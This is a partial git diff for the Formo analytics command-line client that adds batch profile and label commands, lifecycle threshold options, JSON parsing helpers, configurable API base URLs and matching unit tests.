Error('--addresses must be a JSON array of wallet address strings') + } + return { - addresses: parsedAddresses, - writeKey: options.writeKey, + addresses, } } @@ -39,17 +52,31 @@ importCmd.command('wallets', { options: z.object({ addresses: z .string() + .optional() .describe('JSON array of wallet address strings to import'), - writeKey: z.string().describe('Project write SDK key'), + rows: z + .string() + .optional() + .describe('JSON array of {address,properties?} objects for imports with profile properties'), + writeKey: z + .string() + .optional() + .describe('Deprecated; import now uses the project write key server-side') + .meta({ deprecated: true }), }), examples: [ { options: { addresses: '["0xabc…","0xdef…"]', - writeKey: 'write_key_xxx', }, description: 'Import two wallet addresses', }, + { + options: { + rows: '[{"address":"0xabc…","properties":{"display_name":"Alice"}}]', + }, + description: 'Import wallets with profile properties', + }, ], hint: 'Requires profiles:write scope. Only available on Scale and Enterprise plans.', run({ options }) { diff --git a/src/commands/profiles.ts b/src/commands/profiles.ts index 3753c13..d3985f2 100644 --- a/src/commands/profiles.ts +++ b/src/commands/profiles.ts @@ -1,15 +1,100 @@ import { Cli, z } from 'incur' import { createClient, requireApiKey } from '../lib/client' +import { + parseJsonArrayOfObjects, + parseJsonObject, +} from '../lib/json' export const profiles = Cli.create('profiles', { description: 'Wallet profile commands', }) -export function getProfileRun(address: string, expand?: string) { +export interface LifecycleThresholdOptions { + newWindowDays?: number + churnWindowDays?: number + powerUserMinActiveDays?: number + powerUserWindowDays?: number + resurrectedGapDays?: number + atRiskMinDaysInactive?: number + atRiskPriorActiveDaysThreshold?: number +} + +export interface GetProfileOptions extends LifecycleThresholdOptions { + expand?: string +} + +function addLifecycleThresholdParams( + params: Record<string, string | number>, + options: LifecycleThresholdOptions, +) { + if (options.newWindowDays !== undefined) { + params.new_window_days = options.newWindowDays + } + if (options.churnWindowDays !== undefined) { + params.churn_window_days = options.churnWindowDays + } + if (options.powerUserMinActiveDays !== undefined) { + params.power_user_min_active_days = options.powerUserMinActiveDays + } + if (options.powerUserWindowDays !== undefined) { + params.power_user_window_days = options.powerUserWindowDays + } + if (options.resurrectedGapDays !== undefined) { + params.resurrected_gap_days = options.resurrectedGapDays + } + if (options.atRiskMinDaysInactive !== undefined) { + params.at_risk_min_days_inactive = options.atRiskMinDaysInactive + } + if (options.atRiskPriorActiveDaysThreshold !== undefined) { + params.at_risk_prior_active_days_threshold = + options.atRiskPriorActiveDaysThreshold + } +} + +const lifecycleThresholdOptions = { + newWindowDays: z.coerce + .number() + .optional() + .describe('Override lifecycle new-user window in days'), + churnWindowDays: z.coerce + .number() + .optional() + .describe('Override lifecycle churn window in days'), + powerUserMinActiveDays: z.coerce + .number() + .optional() + .describe('Override lifecycle power-user minimum active days'), + powerUserWindowDays: z.coerce + .number() + .optional() + .describe('Override lifecycle power-user window in days'), + resurrectedGapDays: z.coerce + .number() + .optional() + .describe('Override lifecycle resurrected gap in days'), + atRiskMinDaysInactive: z.coerce + .number() + .optional() + .describe('Override lifecycle at-risk minimum inactive days'), + atRiskPriorActiveDaysThreshold: z.coerce + .number() + .optional() + .describe('Override lifecycle at-risk prior active days threshold'), +} + +export function getProfileRun( + address: string, + optionsOrExpand: GetProfileOptions | string = {}, +) { requireApiKey() const client = createClient() - const params: Record<string, string> = {} - if (expand) params.expand = expand + const options = + typeof optionsOrExpand === 'string' + ? { expand: optionsOrExpand } + : optionsOrExpand + const params: Record<string, string | number> = {} + if (options.expand) params.expand = options.expand + addLifecycleThresholdParams(params, options) return client.get(`/v0/profiles/${encodeURIComponent(address)}`, { params }) } @@ -23,6 +108,7 @@ profiles.command('get', { .string() .optional() .describe('Comma-separated list of fields to expand: apps,chains,tokens,labels'), + ...lifecycleThresholdOptions, }), examples: [ { args: { address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045' }, description: 'Get a wallet profile' }, @@ -34,12 +120,13 @@ profiles.command('get', { ], hint: 'Requires profiles:read scope on your API key.', run({ args, options }) { - return getProfileRun(args.address, options.expand) + return getProfileRun(args.address, options) }, }) -export interface SearchProfilesOptions { +export interface SearchProfilesOptions extends LifecycleThresholdOptions { address?: string + search?: string page?: number size?: number orderBy?: string @@ -107,11 +194,13 @@ export function searchProfilesRun(options: SearchProfilesOptions) { const params: Record<string, string | number> = {} if (options.address) params.address = options.address + if (options.search) params.search = options.search if (options.page !== undefined) params.page = options.page if (options.size !== undefined) params.size = options.size if (options.orderBy) params.order_by = options.orderBy if (options.orderDir) params.order_dir = options.orderDir if (options.expand) params.expand = options.expand + addLifecycleThresholdParams(params, options) let body: object | undefined if (options.conditions) { @@ -134,6 +223,7 @@ profiles.command('search', { description: 'Search wallet profiles with optional filters', options: z.object({ address: z.string().optional().describe('Filter by wallet address'), + search: z.string().optional().describe('Free-text search across address and identity fields'), page: z.coerce.number().optional().describe('Page number (1-indexed, default 1)'), size: z.coerce.number().optional().describe('Page size (default 100, max 1000)'), orderBy: z @@ -172,6 +262,7 @@ profiles.command('search', { .enum(['and', 'or']) .optional() .describe('Logic operator for combining conditions: "and" (default) or "or"'), + ...lifecycleThresholdOptions, }), examples: [ { options: { size: 10 }, description: 'List first 10 profiles' }, @@ -220,14 +311,7 @@ export interface UpdateProfileOptions { } export function buildUpdateProfileBody(options: UpdateProfileOptions) { - let body: Record<string, unknown> - try { - body = JSON.parse(options.properties) - if (!body || typeof body !== 'object' || Array.isArray(body)) - throw new Error('not an object') - } catch { - throw new Error('--properties must be a JSON object of property keys') - } + const body = parseJsonObject(options.properties, '--properties') if (Object.keys(body).length === 0) { throw new Error('--properties must contain at least one key') } @@ -278,6 +362,63 @@ profiles.command('update', { }, }) +// ── Batch update profile properties ── + +export interface BatchUpdateProfilesOptions { + rows: string +} + +export function buildBatchUpdateProfilesBody( + options: BatchUpdateProfilesOptions, +) { + const rows = parseJsonArrayOfObjects(options.rows, '--rows') + if (rows.length === 0) { + throw new Error('--rows must contain at least one item') + } + for (const row of rows) { + if (typeof row.address !== 'string' || row.address.length === 0) { + throw new Error('--rows entries must each include a non-empty string address') + } + } + return rows +} + +export function batchUpdateProfilesRun(options: BatchUpdateProfilesOptions) { + requireApiKey() + const client = createClient() + return client.post( + '/v0/profiles/properties', + buildBatchUpdateProfilesBody(options), + ) +} + +export const profilesProperties = Cli.create('properties', { + description: 'Manage first-party profile properties in bulk', +}) + +profilesProperties.command('batch', { + description: 'Batch update first-party profile properties for up to 100 wallets', + options: z.object({ + rows: z + .string() + .describe( + 'JSON array of flat {address,...properties} objects. ENS names are not resolved in batch requests.', + ), + }), + examples: [ + { + options: { + rows: '[{"address":"0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045","display_name":"alice.eth","email":"alice@example.com"}]', + }, + description: 'Batch set display names and emails', + }, + ], + hint: 'Requires profiles:write scope on your API key. Unknown keys are ignored by the API; invalid rows are quarantined.', + run({ options }) { + return batchUpdateProfilesRun(options) + }, +}) + // ── Labels sub-resource ── export const profilesLabels = Cli.create('labels', { @@ -290,6 +431,8 @@ export interface CreateProfileLabelOptions { tagId?: string value?: string chainId?: string + timestamp?: string + isDeleted?: boolean labels?: string } @@ -305,9 +448,13 @@ export function buildCreateLabelBody(options: CreateProfileLabelOptions): unknow } } if (options.tagId) { - const single: Record<string, string> = { tag_id: options.tagId } - if (options.value) single.value = options.value + const single: Record<string, string | number> = { tag_id: options.tagId } + if (options.value !== undefined) single.value = options.value if (options.chainId) single.chain_id = options.chainId + if (options.timestamp) single.timestamp = options.timestamp + if (options.isDeleted !== undefined) { + single._is_deleted = options.isDeleted ? 1 : 0 + } return single } throw new Error('Provide --tag-id (single label) or --labels (batch JSON array)') @@ -337,10 +484,18 @@ profilesLabels.command('create', { .describe('Label identifier (e.g. "vip", "airdrop_eligible")'), value: z.string().optional().describe('Optional label value (e.g. tier name, country code)'), chainId: z.string().optional().describe('Optional chain identifier the label applies to'), + timestamp: z + .string() + .optional() + .describe('Optional historical ISO-8601 timestamp for the label row'), + isDeleted: z + .boolean() + .optional() + .describe('Set true with --timestamp to backfill a label removal tombstone'), labels: z .string() .optional() - .describe('JSON array of UserLabelInput objects for batch upsert'), + .describe('JSON array of UserLabelInput objects for this wallet'), }), examples: [ { @@ -353,6 +508,11 @@ profilesLabels.command('create', { options: { tagId: 'tier', value: 'gold', chainId: '1' }, description: 'Apply a tiered label scoped to a chain', }, + { + args: { address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045' }, + options: { tagId: 'tier', timestamp: '2024-03-15T00:00:00.000Z', isDeleted: true }, + description: 'Backfill a historical label removal', + }, { args: { address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045' }, options: { labels: '[{"tag_id":"vip"},{"tag_id":"airdrop_eligible","chain_id":"1"}]' }, @@ -365,6 +525,64 @@ profilesLabels.command('create', { }, }) +// ── Batch upsert labels across wallets ── + +export interface BatchCreateProfileLabelsOptions { + labels: string +} + +export function buildBatchCreateLabelsBody( + options: BatchCreateProfileLabelsOptions, +) { + const labels = parseJsonArrayOfObjects(options.labels, '--labels') + if (labels.length === 0) { + throw new Error('--labels must contain at least one item') + } + for (const label of labels) { + if (typeof label.address !== 'string' || label.address.length === 0) { + throw new Error('--labels entries must each include a non-empty string address') + } + if (typeof label.tag_id !== 'string' || label.tag_id.length === 0) { + throw new Error('--labels entries must each include a non-empty string tag_id') + } + } + return labels +} + +export function batchCreateProfileLabelsRun( + options: BatchCreateProfileLabelsOptions, +) { + requireApiKey() + const client = createClient() + return client.post( + '/v0/profiles/labels', + buildBatchCreateLabelsBody(options), + ) +} + +profilesLabels.command('batch', { + description: 'Batch upsert labels across up to 100 wallets', + options: z.object({ + labels: z + .string() + .describe( + 'JSON array of {address,tag_id,value?,chain_id?,timestamp?,_is_deleted?} objects', + ), + }), + examples: [ + { + options: { + labels: '[{"address":"0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045","tag_id":"vip","value":"tier-1"}]', + }, + description: 'Batch upsert labels for multiple wallets', + }, + ], + hint: 'Requires profiles:write scope on your API key. ENS names are not resolved in batch requests.', + run({ options }) { + return batchCreateProfileLabelsRun(options) + }, +}) + // ── Delete a profile label ── export interface DeleteProfileLabelOptions { @@ -420,4 +638,5 @@ profilesLabels.command('delete', { }, }) +profiles.command(profilesProperties) profiles.command(profilesLabels) diff --git a/src/commands/segments.ts b/src/commands/segments.ts index 6f25622..d6f3299 100644 --- a/src/commands/segments.ts +++ b/src/commands/segments.ts @@ -7,18 +7,34 @@ export const segments = Cli.create('segments', { // ── List segments ── -export function listSegmentsRun() { +export interface PaginationOptions { + page?: number + size?: number +} + +function buildPaginationParams(options: PaginationOptions = {}) { + const params: Record<string, number> = {} + if (options.page !== undefined) params.page = options.page + if (options.size !== undefined) params.size = options.size + return params +} + +export function listSegmentsRun(options: PaginationOptions = {}) { requireApiKey() const client = createClient() - return client.get('/v0/segments/') + return client.get('/v0/segments/', { params: buildPaginationParams(options) }) } segments.command('list', { description: 'List all user segments for the project', + options: z.object({ + page: z.coerce.number().optional().describe('Page number (1-indexed, default 1)'), + size: z.coerce.number().optional().describe('Page size (default 100, max 200)'), + }), examples: [{ description: 'List all project segments' }], hint: 'Requires segments:read scope on your API key.', - run() { - return listSegmentsRun() + run({ options }) { + return listSegmentsRun(options) }, }) diff --git a/src/index.ts b/src/index.ts index 8ed94f4..e78c625 100644 --- a/src/index.ts +++ b/src/index.ts @@ -6,16 +6,17 @@ import { analytics } from "./commands/analytics"; import { boards } from "./commands/boards"; import { charts } from "./commands/charts"; import { contracts } from "./commands/contracts"; +import { events } from "./commands/events"; import { importCmd } from "./commands/import"; import { profiles } from "./commands/profiles"; import { query } from "./commands/query"; import { segments } from "./commands/segments"; +import { getApiBaseUrl } from "./lib/client"; import { clearConfig, getApiKey, readConfig, saveConfig } from "./lib/config"; import { banner, color, error, info, success, warn } from "./lib/ui"; const DASHBOARD_URL = "https://app.formo.so"; const DOCS_URL = "https://docs.formo.so"; -const API_BASE_URL = "https://api.formo.so"; function loginGuide(): string { return [ @@ -49,7 +50,7 @@ async function validateAndFetchWorkspace( apiKey: string, ): Promise<{ workspace: string; projectId: string } | null> { try { - const res = await fetch(`${API_BASE_URL}/api/validate-api-key`, { + const res = await fetch(`${getApiBaseUrl()}/api/validate-api-key`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ apiKey }), @@ -70,7 +71,7 @@ async function validateAndFetchWorkspace( } const cli = Cli.create("formo", { - version: "0.2.0", + version: "1.0.1", description: "Formo API CLI — Web3 analytics from the terminal", sync: { suggestions: [ @@ -84,10 +85,15 @@ const cli = Cli.create("formo", { "list all project alerts", "create an alert for high-value transactions", "list charts in a board", + "create a line chart in a board", + "move or duplicate a dashboard chart", "list all tracked contracts", "register a new smart contract", "list user segments", "import wallet addresses", + "batch update profile properties with profiles properties batch", + "batch upsert labels for wallets", + "send raw analytics events", ], }, }); @@ -293,6 +299,7 @@ cli.command(alerts); cli.command(boards); cli.command(charts); cli.command(contracts); +cli.command(events); cli.command(segments); cli.command(importCmd); diff --git a/src/lib/client.ts b/src/lib/client.ts index 8bdfb54..8983b7d 100644 --- a/src/lib/client.ts +++ b/src/lib/client.ts @@ -1,7 +1,16 @@ import axios, { AxiosError } from 'axios' import { getApiKey } from './config' -const BASE_URL = 'https://api.formo.so' +export const DEFAULT_API_BASE_URL = 'https://api.formo.so' +export const DEFAULT_EVENTS_BASE_URL = 'https://events.formo.so' + +export function getApiBaseUrl() { + return process.env.FORMO_API_BASE_URL ?? DEFAULT_API_BASE_URL +} + +export function getEventsBaseUrl() { + return process.env.FORMO_EVENTS_BASE_URL ?? DEFAULT_EVENTS_BASE_URL +} export interface ApiErrorBody { error?: { @@ -37,6 +46,12 @@ export function parseApiError(error: AxiosError): DecoratedApiError { const parts: string[] = [] parts.push(apiError?.code ? `[${apiError.code}] ${baseMessage}` : baseMessage) if (apiError?.param) parts.push(`Param: ${apiError.param}`) + if (apiError?.details && Object.keys(apiError.details).length > 0) { + const details = Object.entries(apiError.details) + .map(([key, value]) => `${key}: ${String(value)}`) + .join('; ') + parts.push(`Details: ${details}`) + } if (apiError?.doc_url) parts.push(`Docs: ${apiError.doc_url}`) const message = parts.join('\n ') return Object.assign(new Error(message), { @@ -49,9 +64,14 @@ export function parseApiError(error: AxiosError): DecoratedApiError { }) } -function createClient() { - const apiKey = getApiKey() - const baseURL = BASE_URL +export interface ClientOptions { + baseURL?: string + apiKey?: string +} + +function createClient(options: ClientOptions = {}) { + const apiKey = options.apiKey ?? getApiKey() + const baseURL = options.baseURL ?? getApiBaseUrl() const instance = axios.create({ baseURL, @@ -72,6 +92,15 @@ function createClient() { return instance } +export function createEventsClient(writeKey: string) { + if (!writeKey) { + throw new Error( + 'No event write key configured. Pass --write-key or set FORMO_WRITE_KEY.', + ) + } + return createClient({ baseURL: getEventsBaseUrl(), apiKey: writeKey }) +} + export function requireApiKey(): void { if (!getApiKey()) { throw new Error( diff --git a/src/lib/json.ts b/src/lib/json.ts new file mode 100644 index 0000000..a359325 --- /dev/null +++ b/src/lib/json.ts @@ -0,0 +1,61 @@ +export function parseJson(raw: string, flagName: string): unknown { + try { + return JSON.parse(raw) as unknown + } catch { + throw new Error(`${flagName} must be valid JSON`) + } +} + +export function parseJsonObject( + raw: string, + flagName: string, +): Record<string, unknown> { + const parsed = parseJson(raw, flagName) + if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) { + throw new Error(`${flagName} must be a valid JSON object`) + } + return parsed as Record<string, unknown> +} + +export function parseJsonArray(raw: string, flagName: string): unknown[] { + const parsed = parseJson(raw, flagName) + if (!Array.isArray(parsed)) { + throw new Error(`${flagName} must be a valid JSON array`) + } + return parsed +} + +export function parseJsonArrayOfObjects( + raw: string, + flagName: string, +): Record<string, unknown>[] { + const parsed = parseJsonArray(raw, flagName) + if ( + parsed.some( + (item) => !item || typeof item !== 'object' || Array.isArray(item), + ) + ) { + throw new Error(`${flagName} must be a valid JSON array of objects`) + } + return parsed as Record<string, unknown>[] +} + +export function parseStringArray(raw: string, flagName: string): string[] { + const value = raw.trim() + if (value.startsWith('[')) { + const parsed = parseJsonArray(value, flagName) + if (parsed.some((item) => typeof item !== 'string')) { + throw new Error(`${flagName} must be a JSON array of strings`) + } + return parsed as string[] + } + + const parts = value + .split(',') + .map((part) => part.trim()) + .filter(Boolean) + if (parts.length === 0) { + throw new Error(`${flagName} must contain at least one value`) + } + return parts +} diff --git a/test/commands/bodyBuilders.test.ts b/test/commands/bodyBuilders.test.ts index 2e71fa6..29c39fb 100644 --- a/test/commands/bodyBuilders.test.ts +++ b/test/commands/bodyBuilders.test.ts @@ -1,11 +1,19 @@ import { expect } from 'chai'; -import { buildAlertBody } from '../../src/commands/alerts'; +import { buildAlertBody, buildTestAlertBody } from '../../src/commands/alerts'; +import { buildBoardBody } from '../../src/commands/boards'; +import { + buildChartBody, + normalizeDuplicateChartResponse, +} from '../../src/commands/charts'; import { buildCreateContractBody, + buildUpdateContractPipelineBody, buildUpdateContractBody, } from '../../src/commands/contracts'; import { buildImportBody } from '../../src/commands/import'; import { + buildBatchCreateLabelsBody, + buildBatchUpdateProfilesBody, buildCreateLabelBody, buildDeleteLabelBody, buildUpdateProfileBody, @@ -19,7 +27,11 @@ describe('commands / body builders', function () { describe('buildAlertBody()', function () { it('translates camelCase options to snake_case body keys', function () { const body = buildAlertBody({ name: 'My alert', triggerType: 'event' }); - expect(body).to.deep.equal({ name: 'My alert', trigger_type: 'event' }); + expect(body).to.deep.equal({ + name: 'My alert', + trigger_type: 'event', + trigger_filters: [], + }); }); it('parses triggerFilters JSON into trigger_filters', function () { @@ -63,6 +75,99 @@ describe('commands / body builders', function () { }); expect(body).to.have.property('secret', ''); }); + + it('parses slack property keys JSON into slack_property_keys', function () { + const body = buildAlertBody({ + name: 'x', + triggerType: 'event', + slackPropertyKeys: '["revenue","chain_id"]', + }); + expect(body.slack_property_keys).to.deep.equal(['revenue', 'chain_id']); + }); + }); + + describe('buildTestAlertBody()', function () { + it('parses sample objects and recipient overrides', function () { + const body = buildTestAlertBody({ + sampleEvent: '{"event":"transaction"}', + sampleUser: '{"address":"0xabc"}', + recipientOverrides: '[{"type":"email","value":["a@b.com"]}]', + }); + expect(body).to.deep.equal({ + sampleEvent: { event: 'transaction' }, + sampleUser: { address: '0xabc' }, + recipientOverrides: [{ type: 'email', value: ['a@b.com'] }], + }); + }); + }); + + // ── Boards ── + + describe('buildBoardBody()', function () { + it('uses title/isPublic for the current API contract', function () { + const body = buildBoardBody({ + title: 'Weekly KPIs', + description: 'Ops board', + isPublic: true, + }); + expect(body).to.deep.equal({ + title: 'Weekly KPIs', + description: 'Ops board', + isPublic: true, + }); + }); + + it('keeps --name as a backwards-compatible alias for --title', function () { + expect(buildBoardBody({ name: 'Legacy name' })).to.deep.equal({ + title: 'Legacy name', + }); + }); + }); + + // ── Charts ── + + describe('buildChartBody()', function () { + it('maps typed chart flags to snake_case body fields', function () { + const body = buildChartBody({ + title: 'Daily users', + chartType: 'line', + query: 'SELECT 1 FORMAT JSON', + xAxis: 'date', + yAxis: 'users,revenue', + groupBy: 'chain', + settings: '{"breakdown":"device"}', + }); + expect(body).to.deep.equal({ + title: 'Daily users', + chart_type: 'line', + query: 'SELECT 1', + x_axis: 'date', + y_axis: ['users', 'revenue'], + group_by: 'chain', + settings: { breakdown: 'device' }, + }); + }); + + it('merges raw --body with typed flags taking precedence', function () { + const body = buildChartBody({ + body: '{"title":"Old","chart_type":"bar"}', + title: 'New', + }); + expect(body).to.deep.equal({ title: 'New', chart_type: 'bar' }); + }); + }); + + describe('normalizeDuplicateChartResponse()', function () { + it('wraps a bare duplicated chart ID', function () { + expect(normalizeDuplicateChartResponse('chart_new')).to.deep.equal({ + id: 'chart_new', + }); + }); + + it('leaves object responses intact', function () { + const response = { id: 'chart_new', title: 'Copied chart' }; + expect(normalizeDuplicateChartResponse(response)).to.equal(response); + }); }); // ── Contracts ── @@ -73,29 +178,53 @@ describe('commands / body builders', function () { address: '0xabc', chain: 1, name: 'My Token', - abi: '[{"type":"event","name":"Transfer"}]', - events: '{"Transfer":true}', + abi: '[{"type":"event","name":"Transfer","anonymous":false,"inputs":[]}]', + events: '[{"type":"event","name":"Transfer","anonymous":false,"inputs":[]}]', + includeInPipeline: false, }); expect(body).to.deep.equal({ address: '0xabc', chain: 1, name: 'My Token', - abi: [{ type: 'event', name: 'Transfer' }], - events: { Transfer: true }, + abi: '[{"type":"event","name":"Transfer","anonymous":false,"inputs":[]}]', + events: [{ type: 'event', name: 'Transfer', anonymous: false, inputs: [] }], + include_in_pipeline: false, }); }); }); describe('buildUpdateContractBody()', function () { - it('does NOT include address/chain (those are path params, not body)', function () { - const body = buildUpdateContractBody({ + it('includes address/chain because the current API validates a full contract body', function () { + const body = buildUpdateContractBody('1', '0xabc', { + name: 'New Name', + abi: '[]', + events: '[]', + }); + expect(body).to.deep.equal({ + address: '0xabc', + chain: 1, + name: 'New Name', + abi: '[]', + events: [], + }); + }); + + it('includes include_in_pipeline when provided', function () { + const body = buildUpdateContractBody('1', '0xabc', { name: 'New Name', abi: '[]', - events: '{}', + events: '[]', + includeInPipeline: true, + }); + expect(body).to.include({ include_in_pipeline: true }); + }); + }); + + describe('buildUpdateContractPipelineBody()', function () { + it('maps includeInPipeline to include_in_pipeline', function () { + expect(buildUpdateContractPipelineBody(false)).to.deep.equal({ + include_in_pipeline: false, }); - expect(body).to.deep.equal({ name: 'New Name', abi: [], events: {} }); - expect(body).to.not.have.property('address'); - expect(body).to.not.have.property('chain'); }); }); @@ -117,14 +246,22 @@ describe('commands / body builders', function () { // ── Import ── describe('buildImportBody()', function () { - it('passes parsed addresses array + writeKey through', function () { + it('passes parsed addresses array without a writeKey', function () { const body = buildImportBody({ addresses: '["0xabc","0xdef"]', - writeKey: 'write_key_xyz', }); expect(body).to.deep.equal({ addresses: ['0xabc', '0xdef'], - writeKey: 'write_key_xyz', + }); + }); + + it('derives addresses from richer import rows', function () { + const body = buildImportBody({ + rows: '[{"address":"0xabc","properties":{"display_name":"Alice"}}]', + }); + expect(body).to.deep.equal({ + addresses: ['0xabc'], + rows: [{ address: '0xabc', properties: { display_name: 'Alice' } }], }); }); }); @@ -164,6 +301,19 @@ describe('commands / body builders', function () { }); }); + it('includes historical timestamp and tombstone flags', function () { + const body = buildCreateLabelBody({ + tagId: 'tier', + timestamp: '2024-03-15T00:00:00.000Z', + isDeleted: true, + }); + expect(body).to.deep.equal({ + tag_id: 'tier', + timestamp: '2024-03-15T00:00:00.000Z', + _is_deleted: 1, + }); + }); + it('produces an array body when --labels is given', function () { const body = buildCreateLabelBody({ labels: '[{"tag_id":"vip"},{"tag_id":"airdrop_eligible","chain_id":"1"}]', @@ -183,6 +333,26 @@ describe('commands / body builders', function () { }); }); + describe('buildBatchUpdateProfilesBody()', function () { + it('accepts profile rows with address and properties', function () { + const body = buildBatchUpdateProfilesBody({ + rows: '[{"address":"0xabc","display_name":"Alice"}]', + }); + expect(body).to.deep.equal([{ address: '0xabc', display_name: 'Alice' }]); + }); + }); + + describe('buildBatchCreateLabelsBody()', function () { + it('accepts label rows with address and tag_id', function () { + const body = buildBatchCreateLabelsBody({ + labels: '[{"address":"0xabc","tag_id":"vip","value":"gold"}]', + }); + expect(body).to.deep.equal([ + { address: '0xabc', tag_id: 'vip', value: 'gold' }, + ]); + }); + }); + // ── Profiles labels delete ── describe('buildDeleteLabelBody()', function () { diff --git a/test/commands/contracts.test.ts b/test/commands/contracts.test.ts index 86712ca..aff66c3 100644 --- a/test/commands/contracts.test.ts +++ b/test/commands/contracts.test.ts @@ -6,7 +6,7 @@ import { requiresLiveApi } from '../helpers/liveApi'; // (bare resource — no envelope). const TEST_ABI = JSON.stringify([{ type: 'event', name: 'Transfer', inputs: [] }]); -const TEST_EVENTS = JSON.stringify({ Transfer: true }); +const TEST_EVENTS = JSON.stringify([{ type: 'event', name: 'Transfer', inputs: [] }]); describe('commands/contracts', function () { describe('listContractsRun()', function () { diff --git a/test/commands/events.test.ts b/test/commands/events.test.ts new file mode 100644 index 0000000..09fd65a --- /dev/null +++ b/test/commands/events.test.ts @@ -0,0 +1,38 @@ +import { expect } from 'chai'; +import { buildIngestEventsBody, ingestEventsRun } from '../../src/commands/events'; + +describe('commands/events', function () { + describe('buildIngestEventsBody()', function () { + it('wraps a single --event object in an array', function () { + const body = buildIngestEventsBody({ + event: '{"type":"track","event":"CLI Test"}', + }); + expect(body).to.deep.equal([{ type: 'track', event: 'CLI Test' }]); + }); + + it('accepts a non-empty --events array', function () { + const body = buildIngestEventsBody({ + events: '[{"type":"track","event":"A"},{"type":"track","event":"B"}]', + }); + expect(body).to.have.length(2); + }); + + it('throws on invalid event JSON', function () { + expect(() => buildIngestEventsBody({ event: 'not-json' })).to.throw(/event/); + }); + }); + + describe('ingestEventsRun() — local validation', function () { + it('throws when no write key is configured', function () { + const saved = process.env.FORMO_WRITE_KEY; + delete process.env.FORMO_WRITE_KEY; + try { + expect(() => + ingestEventsRun({ event: '{"type":"track","event":"CLI Test"}' }), + ).to.throw(/write key/i); + } finally { + if (saved !== undefined) process.env.FORMO_WRITE_KEY = saved; + } + }); + }); +}); diff --git a/test/commands/import.test.ts b/test/commands/import.test.ts index 823b9fa..20d5e65 100644 --- a/test/commands/import.test.ts +++ b/test/commands/import.test.ts @@ -7,7 +7,6 @@ describe('commands/import', function () { expect(() => importWalletsRun({ addresses: 'not-json', - writeKey: 'write_key_test', }), ).to.throw(/addresses/); }); @@ -16,7 +15,6 @@ describe('commands/import', function () { expect(() => importWalletsRun({ addresses: '"just-a-string"', - writeKey: 'write_key_test', }), ).to.throw(/addresses/); }); @@ -25,21 +23,26 @@ describe('commands/import', function () { expect(() => importWalletsRun({ addresses: '{"address":"0xabc"}', - writeKey: 'write_key_test', }), ).to.throw(/addresses/); }); + + it('throws when rows entries do not include an address', function () { + expect(() => + importWalletsRun({ + rows: '[{"properties":{"display_name":"Alice"}}]', + }), + ).to.throw(/address/); + }); }); describe('importWalletsRun() — API call', function () { - it('imports wallets when WRITE_KEY is provided', async function () { - const writeKey = process.env.TEST_WRITE_KEY; - if (!writeKey) { - this.skip(); // Set TEST_WRITE_KEY in .env to run this test + it('imports wallets when explicitly enabled', async function () { + if (process.env.TEST_IMPORT_WALLETS !== '1') { + this.skip(); // Set TEST_IMPORT_WALLETS=1 to run this plan-gated mutation } const result = await importWalletsRun({ addresses: JSON.stringify(['0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045']), - writeKey, }) as unknown; expect(result).to.exist; }); diff --git a/test/commands/profiles.test.ts b/test/commands/profiles.test.ts index 04e27a5..0f7ffb8 100644 --- a/test/commands/profiles.test.ts +++ b/test/commands/profiles.test.ts @@ -1,5 +1,7 @@ import { expect } from 'chai'; import { + batchCreateProfileLabelsRun, + batchUpdateProfilesRun, createProfileLabelRun, deleteProfileLabelRun, getProfileRun, @@ -95,6 +97,30 @@ describe('commands/profiles', function () { }); }); + describe('batchUpdateProfilesRun() — local validation', function () { + it('throws on invalid rows JSON', function () { + expect(() => batchUpdateProfilesRun({ rows: 'not-json' })).to.throw(/rows/); + }); + + it('throws when a row is missing address', function () { + expect(() => + batchUpdateProfilesRun({ rows: '[{"display_name":"Alice"}]' }), + ).to.throw(/address/); + }); + }); + + describe('batchCreateProfileLabelsRun() — local validation', function () { + it('throws on invalid labels JSON', function () { + expect(() => batchCreateProfileLabelsRun({ labels: 'not-json' })).to.throw(/labels/); + }); + + it('throws when a row is missing tag_id', function () { + expect(() => + batchCreateProfileLabelsRun({ labels: '[{"address":"0xabc"}]' }), + ).to.throw(/tag_id/); + }); + }); + describe('deleteProfileLabelRun() — local validation', function () { it('throws when --tag-id is missing', function () { expect(() => diff --git a/test/lib/client.test.ts b/test/lib/client.test.ts index ca315a7..0b84920 100644 --- a/test/lib/client.test.ts +++ b/test/lib/client.test.ts @@ -2,7 +2,20 @@ import fs from 'fs'; import os from 'os'; import path from 'path'; import { expect } from 'chai'; -import { createClient, requireApiKey } from '../../src/lib/client'; +import { + createClient, + getApiBaseUrl, + getEventsBaseUrl, + requireApiKey, +} from '../../src/lib/client'; + +function restoreEnv(name: string, value: string | undefined) { + if (value === undefined) { + delete process.env[name]; + } else { + process.env[name] = value; + } +} describe('lib/client', function () { describe('requireApiKey()', function () { @@ -40,8 +53,26 @@ describe('lib/client', function () { }); it('uses https://api.formo.so as base URL', function () { + const saved = process.env.FORMO_API_BASE_URL; + delete process.env.FORMO_API_BASE_URL; const client = createClient(); expect(client.defaults.baseURL).to.equal('https://api.formo.so'); + restoreEnv('FORMO_API_BASE_URL', saved); + }); + + it('uses FORMO_API_BASE_URL when set', function () { + const saved = process.env.FORMO_API_BASE_URL; + process.env.FORMO_API_BASE_URL = 'http://localhost:3001'; + expect(getApiBaseUrl()).to.equal('http://localhost:3001'); + expect(createClient().defaults.baseURL).to.equal('http://localhost:3001'); + restoreEnv('FORMO_API_BASE_URL', saved); + }); + + it('uses FORMO_EVENTS_BASE_URL when set', function () { + const saved = process.env.FORMO_EVENTS_BASE_URL; + process.env.FORMO_EVENTS_BASE_URL = 'http://localhost:3002'; + expect(getEventsBaseUrl()).to.equal('http://localhost:3002'); + restoreEnv('FORMO_EVENTS_BASE_URL', saved); }); it('sets a 30 second timeout', function () { diff --git a/test/lib/parseApiError.test.ts b/test/lib/parseApiError.test.ts index 8950820..db33aad 100644 --- a/test/lib/parseApiError.test.ts +++ b/test/lib/parseApiError.test.ts @@ -90,6 +90,10 @@ describe('lib/client / parseApiError', function () { expect(err.code).to.equal('INVALID_VALIDATION_REQUEST'); expect(err.details).to.deep.equal(details); + expect(err.message).to.include('Details: body.name: Required'); + expect(err.message).to.include( + 'body.conditions.0.operator: Expected one of: gt, lt, eq', + ); }); 